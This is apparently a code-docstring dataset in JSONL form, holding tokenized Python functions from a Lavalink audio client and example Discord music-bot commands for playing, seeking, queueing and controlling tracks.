{"signature": "async def listen(self):", "body": "while not self._shutdown:<EOL><INDENT>try:<EOL><INDENT>data = json.loads(await self._ws.recv())<EOL><DEDENT>except websockets.ConnectionClosed as error:<EOL><INDENT>log.warning('<STR_LIT>'.format(str(error)))<EOL>for g in self._lavalink.players._players.copy().keys():<EOL><INDENT>ws = self._lavalink.bot._connection._get_websocket(int(g))<EOL>await ws.voice_state(int(g), None)<EOL><DEDENT>self._lavalink.players.clear()<EOL>if self._shutdown:<EOL><INDENT>break<EOL><DEDENT>if await self._attempt_reconnect():<EOL><INDENT>return<EOL><DEDENT>log.warning('<STR_LIT>')<EOL>break<EOL><DEDENT>op = data.get('<STR_LIT>', None)<EOL>log.debug('<STR_LIT>'.format(str(data)))<EOL>if not op:<EOL><INDENT>return log.debug('<STR_LIT>'.format(str(data)))<EOL><DEDENT>if op == '<STR_LIT>':<EOL><INDENT>log.debug('<STR_LIT>'.format(data['<STR_LIT:type>']))<EOL>player = self._lavalink.players[int(data['<STR_LIT>'])]<EOL>event = None<EOL>if data['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>event = TrackEndEvent(player, data['<STR_LIT>'], data['<STR_LIT>'])<EOL><DEDENT>elif data['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>event = TrackExceptionEvent(player, data['<STR_LIT>'], data['<STR_LIT:error>'])<EOL><DEDENT>elif data['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>event = TrackStuckEvent(player, data['<STR_LIT>'], data['<STR_LIT>'])<EOL><DEDENT>if event:<EOL><INDENT>await self._lavalink.dispatch_event(event)<EOL><DEDENT><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>await self._lavalink.update_state(data)<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>self._lavalink.stats._update(data)<EOL>await self._lavalink.dispatch_event(StatsUpdateEvent(self._lavalink.stats))<EOL><DEDENT><DEDENT>log.debug('<STR_LIT>')<EOL>await self._ws.close()<EOL>", "docstring": "Waits to receive a payload from the Lavalink server and processes it.", "id": "f6343:c0:m4"}
{"signature": "async def send(self, **data):", "body": "if self._ws and self._ws.open:<EOL><INDENT>log.debug('<STR_LIT>'.format(str(data)))<EOL>await self._ws.send(json.dumps(data))<EOL><DEDENT>else:<EOL><INDENT>self._queue.append(data)<EOL>log.debug('<STR_LIT>'.format(str(data)))<EOL><DEDENT>", "docstring": "Sends data to the Lavalink server.", "id": "f6343:c0:m5"}
{"signature": "def format_time(time):", "body": "hours, remainder = divmod(time / <NUM_LIT:1000>, <NUM_LIT>)<EOL>minutes, seconds = divmod(remainder, <NUM_LIT>)<EOL>return '<STR_LIT>' % (hours, minutes, seconds)<EOL>", "docstring": "Formats the given time into HH:MM:SS.", "id": "f6344:m0"}
{"signature": "def build(self, track, requester):", "body": "try:<EOL><INDENT>self.track = track['<STR_LIT>']<EOL>self.identifier = track['<STR_LIT:info>']['<STR_LIT>']<EOL>self.can_seek = track['<STR_LIT:info>']['<STR_LIT>']<EOL>self.author = track['<STR_LIT:info>']['<STR_LIT>']<EOL>self.duration = track['<STR_LIT:info>']['<STR_LIT>']<EOL>self.stream = track['<STR_LIT:info>']['<STR_LIT>']<EOL>self.title = track['<STR_LIT:info>']['<STR_LIT:title>']<EOL>self.uri = track['<STR_LIT:info>']['<STR_LIT>']<EOL>self.requester = requester<EOL>return self<EOL><DEDENT>except KeyError:<EOL><INDENT>raise InvalidTrack('<STR_LIT>')<EOL><DEDENT>", "docstring": "Returns an optional AudioTrack.", "id": "f6345:c1:m0"}
{"signature": "@property<EOL><INDENT>def thumbnail(self):<DEDENT>", "body": "if '<STR_LIT>' in self.uri:<EOL><INDENT>return \"<STR_LIT>\".format(self.identifier)<EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Returns the video thumbnail. Could be an empty string.", "id": "f6345:c1:m1"}
{"signature": "def __init__(self, bot, log_level=logging.INFO, loop=asyncio.get_event_loop(), host='<STR_LIT:localhost>',<EOL>rest_port=<NUM_LIT>, password='<STR_LIT>', ws_retry=<NUM_LIT:3>, ws_port=<NUM_LIT>, shard_count=<NUM_LIT:1>, player=DefaultPlayer):", "body": "bot.lavalink = self<EOL>self.http = aiohttp.ClientSession(loop=loop)<EOL>self.voice_state = {}<EOL>self.hooks = []<EOL>set_log_level(log_level)<EOL>self.bot = bot<EOL>self.bot.add_listener(self.on_socket_response)<EOL>self.loop = loop<EOL>self.rest_uri = '<STR_LIT>'.format(host, rest_port)<EOL>self.password = password<EOL>self.ws = WebSocket(<EOL>self, host, password, ws_port, ws_retry, shard_count<EOL>)<EOL>self._server_version = <NUM_LIT:2><EOL>self.stats = Stats()<EOL>self.players = PlayerManager(self, player)<EOL>", "docstring": "Creates a new Lavalink client.\n-----------------\n:param bot:\n    The bot to attach the Client to.\n:param log_level:\n    The log_level to set the client to. Defaults to ``INFO``\n:param loop:\n    The event loop for the client.\n:param host:\n    Your Lavalink server's host address.\n:param rest_port:\n    The port over which the HTTP requests should be made.\n:param password:\n    The password for your Lavalink server. The default password is ``youshallnotpass``.\n:param ws_retry:\n    How often the client should attempt to reconnect to the Lavalink server.\n:param ws_port:\n    The port on which a WebSocket connection to the Lavalink server should be established.\n:param shard_count:\n    The bot's shard count. Defaults to ``1``.\n:param player:\n    The class that should be used for the player. Defaults to ``DefaultPlayer``.\n    Do not change this unless you know what you are doing!", "id": "f6348:c0:m0"}
{"signature": "def register_hook(self, func):", "body": "if func not in self.hooks:<EOL><INDENT>self.hooks.append(func)<EOL><DEDENT>", "docstring": "Registers a hook. Since this probably is a bit difficult, I'll explain it in detail.\nA hook basically is an object of a function you pass. This will append that object to a list and whenever\nan event from the Lavalink server is dispatched, the function will be called internally. For declaring the\nfunction that should become a hook, pass ``event` as its sole parameter.\nCan be a function but also a coroutine.\n\nExample for a method declaration inside a class:\n---------------\n    self.bot.lavalink.register_hook(my_hook)\n\n    async def my_hook(self, event):\n        channel = self.bot.get_channel(event.player.fetch('channel'))\n        if not channel:\n            return\n\n        if isinstance(event, lavalink.Events.TrackStartEvent):\n            await channel.send(embed=discord.Embed(title='Now playing:',\n                                                   description=event.track.title,\n                                                   color=discord.Color.blurple()))\n---------------\n:param func:\n    The function that should be registered as a hook.", "id": "f6348:c0:m1"}
{"signature": "def unregister_hook(self, func):", "body": "if func in self.hooks:<EOL><INDENT>self.hooks.remove(func)<EOL><DEDENT>", "docstring": "Unregisters a hook. For further explanation, please have a look at ``register_hook``.", "id": "f6348:c0:m2"}
{"signature": "async def dispatch_event(self, event):", "body": "log.debug('<STR_LIT>'.format(event.__class__.__name__, len(self.hooks)))<EOL>for hook in self.hooks:<EOL><INDENT>try:<EOL><INDENT>if asyncio.iscoroutinefunction(hook):<EOL><INDENT>await hook(event)<EOL><DEDENT>else:<EOL><INDENT>hook(event)<EOL><DEDENT><DEDENT>except Exception as e:  <EOL><INDENT>log.warning(<EOL>'<STR_LIT>'.format(hook.__name__, str(e)))<EOL><DEDENT><DEDENT>if isinstance(event, (TrackEndEvent, TrackExceptionEvent, TrackStuckEvent)) and event.player:<EOL><INDENT>await event.player.handle_event(event)<EOL><DEDENT>", "docstring": "Dispatches an event to all registered hooks.", "id": "f6348:c0:m3"}
{"signature": "async def update_state(self, data):", "body": "guild_id = int(data['<STR_LIT>'])<EOL>if guild_id in self.players:<EOL><INDENT>player = self.players.get(guild_id)<EOL>player.position = data['<STR_LIT:state>'].get('<STR_LIT>', <NUM_LIT:0>)<EOL>player.position_timestamp = data['<STR_LIT:state>']['<STR_LIT:time>']<EOL><DEDENT>", "docstring": "Updates a player's state when a payload with opcode ``playerUpdate`` is received.", "id": "f6348:c0:m4"}
{"signature": "async def get_tracks(self, query):", "body": "log.debug('<STR_LIT>'.format(query))<EOL>async with self.http.get(self.rest_uri + quote(query), headers={'<STR_LIT>': self.password}) as res:<EOL><INDENT>return await res.json(content_type=None)<EOL><DEDENT>", "docstring": "Returns a Dictionary containing search results for a given query.", "id": "f6348:c0:m5"}
{"signature": "async def on_socket_response(self, data):", "body": "<EOL>if not data or data.get('<STR_LIT:t>', '<STR_LIT>') not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>return<EOL><DEDENT>if data['<STR_LIT:t>'] == '<STR_LIT>':<EOL><INDENT>self.voice_state.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': data['<STR_LIT:d>']['<STR_LIT>'],<EOL>'<STR_LIT>': data['<STR_LIT:d>']<EOL>})<EOL><DEDENT>else:<EOL><INDENT>if int(data['<STR_LIT:d>']['<STR_LIT>']) != self.bot.user.id:<EOL><INDENT>return<EOL><DEDENT>self.voice_state.update({'<STR_LIT>': data['<STR_LIT:d>']['<STR_LIT>']})<EOL>guild_id = int(data['<STR_LIT:d>']['<STR_LIT>'])<EOL>if self.players[guild_id]:<EOL><INDENT>self.players[guild_id].channel_id = data['<STR_LIT:d>']['<STR_LIT>']<EOL><DEDENT><DEDENT>if {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'} == self.voice_state.keys():<EOL><INDENT>await self.ws.send(**self.voice_state)<EOL>self.voice_state.clear()<EOL><DEDENT>", "docstring": "This coroutine will be called every time an event from Discord is received.\nIt is used to update a player's voice state through forwarding a payload via the WebSocket connection to Lavalink.\n-------------\n:param data:\n    The payload received from Discord.", "id": "f6348:c0:m6"}
{"signature": "def destroy(self):", "body": "self.ws.destroy()<EOL>self.bot.remove_listener(self.on_socket_response)<EOL>self.hooks.clear()<EOL>", "docstring": "Destroys the Lavalink client.", "id": "f6348:c0:m7"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT:p>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _play(self, ctx, *, query: str):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>query = query.strip('<STR_LIT>')<EOL>if not url_rx.match(query):<EOL><INDENT>query = f'<STR_LIT>'<EOL><DEDENT>tracks = await self.bot.lavalink.get_tracks(query)<EOL>if not tracks:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>embed = discord.Embed(color=discord.Color.blurple())<EOL>if '<STR_LIT:list>' in query and '<STR_LIT>' not in query:<EOL><INDENT>for track in tracks:<EOL><INDENT>player.add(requester=ctx.author.id, track=track)<EOL><DEDENT>embed.title = '<STR_LIT>'<EOL>embed.description = f'<STR_LIT>'<EOL>await ctx.send(embed=embed)<EOL><DEDENT>else:<EOL><INDENT>track_title = tracks[<NUM_LIT:0>][\"<STR_LIT:info>\"][\"<STR_LIT:title>\"]<EOL>track_uri = tracks[<NUM_LIT:0>][\"<STR_LIT:info>\"][\"<STR_LIT>\"]<EOL>embed.title = \"<STR_LIT>\"<EOL>embed.description = f'<STR_LIT>'<EOL>player.add(requester=ctx.author.id, track=tracks[<NUM_LIT:0>])<EOL><DEDENT>if not player.is_playing:<EOL><INDENT>await player.play()<EOL><DEDENT>", "docstring": "Searches and plays a song from a given query.", "id": "f6349:c0:m3"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _seek(self, ctx, *, time: str):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>seconds = time_rx.search(time)<EOL>if not seconds:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>seconds = int(seconds.group()) * <NUM_LIT:1000><EOL>if time.startswith('<STR_LIT:->'):<EOL><INDENT>seconds *= -<NUM_LIT:1><EOL><DEDENT>track_time = player.position + seconds<EOL>await player.seek(track_time)<EOL>await ctx.send(f'<STR_LIT>')<EOL>", "docstring": "Seeks to a given position in a track.", "id": "f6349:c0:m4"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>', '<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _skip(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>await player.skip()<EOL>await ctx.send('<STR_LIT>')<EOL>", "docstring": "Skips the current track.", "id": "f6349:c0:m5"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _stop(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.queue.clear()<EOL>await player.stop()<EOL>await ctx.send('<STR_LIT>')<EOL>", "docstring": "Stops the player and clears its queue.", "id": "f6349:c0:m6"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>', '<STR_LIT:n>', '<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _now(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>song = '<STR_LIT>'<EOL>if player.current:<EOL><INDENT>position = lavalink.Utils.format_time(player.position)<EOL>if player.current.stream:<EOL><INDENT>duration = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>duration = lavalink.Utils.format_time(player.current.duration)<EOL><DEDENT>song = f'<STR_LIT>'<EOL><DEDENT>embed = discord.Embed(color=discord.Color.blurple(), title='<STR_LIT>', description=song)<EOL>await ctx.send(embed=embed)<EOL>", "docstring": "Shows some stats about the currently playing song.", "id": "f6349:c0:m7"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT:q>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _queue(self, ctx, page: int = <NUM_LIT:1>):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.queue:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>items_per_page = <NUM_LIT:10><EOL>pages = math.ceil(len(player.queue) / items_per_page)<EOL>start = (page - <NUM_LIT:1>) * items_per_page<EOL>end = start + items_per_page<EOL>queue_list = '<STR_LIT>'<EOL>for index, track in enumerate(player.queue[start:end], start=start):<EOL><INDENT>queue_list += f'<STR_LIT>'<EOL><DEDENT>embed = discord.Embed(colour=discord.Color.blurple(),<EOL>description=f'<STR_LIT>')<EOL>embed.set_footer(text=f'<STR_LIT>')<EOL>await ctx.send(embed=embed)<EOL>", "docstring": "Shows the player's queue.", "id": "f6349:c0:m8"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _pause(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>if player.paused:<EOL><INDENT>await player.set_pause(False)<EOL>await ctx.send('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>await player.set_pause(True)<EOL>await ctx.send('<STR_LIT>')<EOL><DEDENT>", "docstring": "Pauses/Resumes the current track.", "id": "f6349:c0:m9"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _volume(self, ctx, volume: int = None):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not volume:<EOL><INDENT>return await ctx.send(f'<STR_LIT>')<EOL><DEDENT>await player.set_volume(volume)<EOL>await ctx.send(f'<STR_LIT>')<EOL>", "docstring": "Changes the player's volume. Must be between 0 and 150. Error Handling for that is done by Lavalink.", "id": "f6349:c0:m10"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _shuffle(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.shuffle = not player.shuffle<EOL>await ctx.send('<STR_LIT>' + ('<STR_LIT>' if player.shuffle else '<STR_LIT>'))<EOL>", "docstring": "Shuffles the player's queue.", "id": "f6349:c0:m11"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _repeat(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.repeat = not player.repeat<EOL>await ctx.send('<STR_LIT>' + ('<STR_LIT>' if player.repeat else '<STR_LIT>'))<EOL>", "docstring": "Repeats the current song until the command is invoked again.", "id": "f6349:c0:m12"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _remove(self, ctx, index: int):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.queue:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>if index > len(player.queue) or index < <NUM_LIT:1>:<EOL><INDENT>return await ctx.send(f'<STR_LIT>')<EOL><DEDENT>index -= <NUM_LIT:1><EOL>removed = player.queue.pop(index)<EOL>await ctx.send(f'<STR_LIT>')<EOL>", "docstring": "Removes an item from the player's queue with the given index.", "id": "f6349:c0:m13"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _find(self, ctx, *, query):<DEDENT>", "body": "if not query.startswith('<STR_LIT>') and not query.startswith('<STR_LIT>'):<EOL><INDENT>query = '<STR_LIT>' + query<EOL><DEDENT>tracks = await self.bot.lavalink.get_tracks(query)<EOL>if not tracks:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>tracks = tracks[:<NUM_LIT:10>]  <EOL>o = '<STR_LIT>'<EOL>for index, track in enumerate(tracks, start=<NUM_LIT:1>):<EOL><INDENT>track_title = track[\"<STR_LIT:info>\"][\"<STR_LIT:title>\"]<EOL>track_uri = track[\"<STR_LIT:info>\"][\"<STR_LIT>\"]<EOL>o += f'<STR_LIT>'<EOL><DEDENT>embed = discord.Embed(color=discord.Color.blurple(), description=o)<EOL>await ctx.send(embed=embed)<EOL>", "docstring": "Lists the first 10 search results from a given query.", "id": "f6349:c0:m14"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _disconnect(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_connected:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>if not ctx.author.voice or (player.is_connected and ctx.author.voice.channel.id != int(player.channel_id)):<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.queue.clear()<EOL>await player.disconnect()<EOL>await ctx.send('<STR_LIT>')<EOL>", "docstring": "Disconnects the player from the voice channel and clears its queue.", "id": "f6349:c0:m15"}
{"signature": "@_play.before_invoke<EOL><INDENT>async def ensure_voice(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_connected:<EOL><INDENT>if not ctx.author.voice or not ctx.author.voice.channel:<EOL><INDENT>await ctx.send('<STR_LIT>')<EOL>raise commands.CommandInvokeError('<STR_LIT>')<EOL><DEDENT>permissions = ctx.author.voice.channel.permissions_for(ctx.me)<EOL>if not permissions.connect or not permissions.speak:<EOL><INDENT>await ctx.send('<STR_LIT>')<EOL>raise commands.CommandInvokeError('<STR_LIT>')<EOL><DEDENT>player.store('<STR_LIT>', ctx.channel.id)<EOL>await player.connect(ctx.author.voice.channel.id)<EOL><DEDENT>else:<EOL><INDENT>if player.connected_channel.id != ctx.author.voice.channel.id:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "A few checks to make sure the bot can join a voice channel.", "id": "f6349:c0:m16"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT:p>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _play(self, ctx, *, query: str):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>query = query.strip('<STR_LIT>')<EOL>if not url_rx.match(query):<EOL><INDENT>query = f'<STR_LIT>'<EOL><DEDENT>results = await self.bot.lavalink.get_tracks(query)<EOL>if not results or not results['<STR_LIT>']:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>embed = discord.Embed(color=discord.Color.blurple())<EOL>if results['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>tracks = results['<STR_LIT>']<EOL>for track in tracks:<EOL><INDENT>player.add(requester=ctx.author.id, track=track)<EOL><DEDENT>embed.title = '<STR_LIT>'<EOL>embed.description = f'<STR_LIT>'<EOL>await ctx.send(embed=embed)<EOL><DEDENT>else:<EOL><INDENT>track = results['<STR_LIT>'][<NUM_LIT:0>]<EOL>embed.title = '<STR_LIT>'<EOL>embed.description = f'<STR_LIT>'<EOL>await ctx.send(embed=embed)<EOL>player.add(requester=ctx.author.id, track=track)<EOL><DEDENT>if not player.is_playing:<EOL><INDENT>await player.play()<EOL><DEDENT>", "docstring": "Searches and plays a song from a given query.", "id": "f6350:c0:m3"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _previous(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>try:<EOL><INDENT>await player.play_previous()<EOL><DEDENT>except lavalink.NoPreviousTrack:<EOL><INDENT>await ctx.send('<STR_LIT>')<EOL><DEDENT>", "docstring": "Plays the previous song.", "id": "f6350:c0:m4"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _playnow(self, ctx, *, query: str):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.queue and not player.is_playing:<EOL><INDENT>return await ctx.invoke(self._play, query=query)<EOL><DEDENT>query = query.strip('<STR_LIT>')<EOL>if not url_rx.match(query):<EOL><INDENT>query = f'<STR_LIT>'<EOL><DEDENT>results = await self.bot.lavalink.get_tracks(query)<EOL>if not results or not results['<STR_LIT>']:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>tracks = results['<STR_LIT>']<EOL>track = tracks.pop(<NUM_LIT:0>)<EOL>if results['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>for _track in tracks:<EOL><INDENT>player.add(requester=ctx.author.id, track=_track)<EOL><DEDENT><DEDENT>await player.play_now(requester=ctx.author.id, track=track)<EOL>", "docstring": "Plays immediately a song.", "id": "f6350:c0:m5"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _playat(self, ctx, index: int):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if index < <NUM_LIT:1>:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>if len(player.queue) < index:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>await player.play_at(index-<NUM_LIT:1>)<EOL>", "docstring": "Plays the queue from a specific point. Disregards tracks before the index.", "id": "f6350:c0:m6"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _seek(self, ctx, *, time: str):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>seconds = time_rx.search(time)<EOL>if not seconds:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>seconds = int(seconds.group()) * <NUM_LIT:1000><EOL>if time.startswith('<STR_LIT:->'):<EOL><INDENT>seconds *= -<NUM_LIT:1><EOL><DEDENT>track_time = player.position + seconds<EOL>await player.seek(track_time)<EOL>await ctx.send(f'<STR_LIT>')<EOL>", "docstring": "Seeks to a given position in a track.", "id": "f6350:c0:m7"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>', '<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _skip(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>await player.skip()<EOL>await ctx.send('<STR_LIT>')<EOL>", "docstring": "Skips the current track.", "id": "f6350:c0:m8"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _stop(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.queue.clear()<EOL>await player.stop()<EOL>await ctx.send('<STR_LIT>')<EOL>", "docstring": "Stops the player and clears its queue.", "id": "f6350:c0:m9"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>', '<STR_LIT:n>', '<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _now(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>song = '<STR_LIT>'<EOL>if player.current:<EOL><INDENT>position = lavalink.Utils.format_time(player.position)<EOL>if player.current.stream:<EOL><INDENT>duration = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>duration = lavalink.Utils.format_time(player.current.duration)<EOL><DEDENT>song = f'<STR_LIT>'<EOL><DEDENT>embed = discord.Embed(color=discord.Color.blurple(),<EOL>title='<STR_LIT>', description=song)<EOL>await ctx.send(embed=embed)<EOL>", "docstring": "Shows some stats about the currently playing song.", "id": "f6350:c0:m10"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT:q>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _queue(self, ctx, page: int = <NUM_LIT:1>):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.queue:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>items_per_page = <NUM_LIT:10><EOL>pages = math.ceil(len(player.queue) / items_per_page)<EOL>start = (page - <NUM_LIT:1>) * items_per_page<EOL>end = start + items_per_page<EOL>queue_list = '<STR_LIT>'<EOL>for index, track in enumerate(player.queue[start:end], start=start):<EOL><INDENT>queue_list += f'<STR_LIT>'<EOL><DEDENT>embed = discord.Embed(colour=discord.Color.blurple(),<EOL>description=f'<STR_LIT>')<EOL>embed.set_footer(text=f'<STR_LIT>')<EOL>await ctx.send(embed=embed)<EOL>", "docstring": "Shows the player's queue.", "id": "f6350:c0:m11"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _pause(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>if player.paused:<EOL><INDENT>await player.set_pause(False)<EOL>await ctx.send('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>await player.set_pause(True)<EOL>await ctx.send('<STR_LIT>')<EOL><DEDENT>", "docstring": "Pauses/Resumes the current track.", "id": "f6350:c0:m12"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _volume(self, ctx, volume: int = None):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not volume:<EOL><INDENT>return await ctx.send(f'<STR_LIT>')<EOL><DEDENT>await player.set_volume(volume)<EOL>await ctx.send(f'<STR_LIT>')<EOL>", "docstring": "Changes the player's volume. Must be between 0 and 1000. Error Handling for that is done by Lavalink.", "id": "f6350:c0:m13"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _shuffle(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.shuffle = not player.shuffle<EOL>await ctx.send('<STR_LIT>' + ('<STR_LIT>' if player.shuffle else '<STR_LIT>'))<EOL>", "docstring": "Shuffles the player's queue.", "id": "f6350:c0:m14"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _repeat(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_playing:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.repeat = not player.repeat<EOL>await ctx.send('<STR_LIT>' + ('<STR_LIT>' if player.repeat else '<STR_LIT>'))<EOL>", "docstring": "Repeats the current song until the command is invoked again.", "id": "f6350:c0:m15"}
{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _remove(self, ctx, index: int):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.queue:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>if index > len(player.queue) or index < <NUM_LIT:1>:<EOL><INDENT>return await ctx.send(f'<STR_LIT>')<EOL><DEDENT>index -= <NUM_LIT:1><EOL>removed = player.queue.pop(index)<EOL>await ctx.send(f'<STR_LIT>')<EOL>", "docstring": "Removes an item from the player's queue with the given index.", "id": "f6350:c0:m16"}
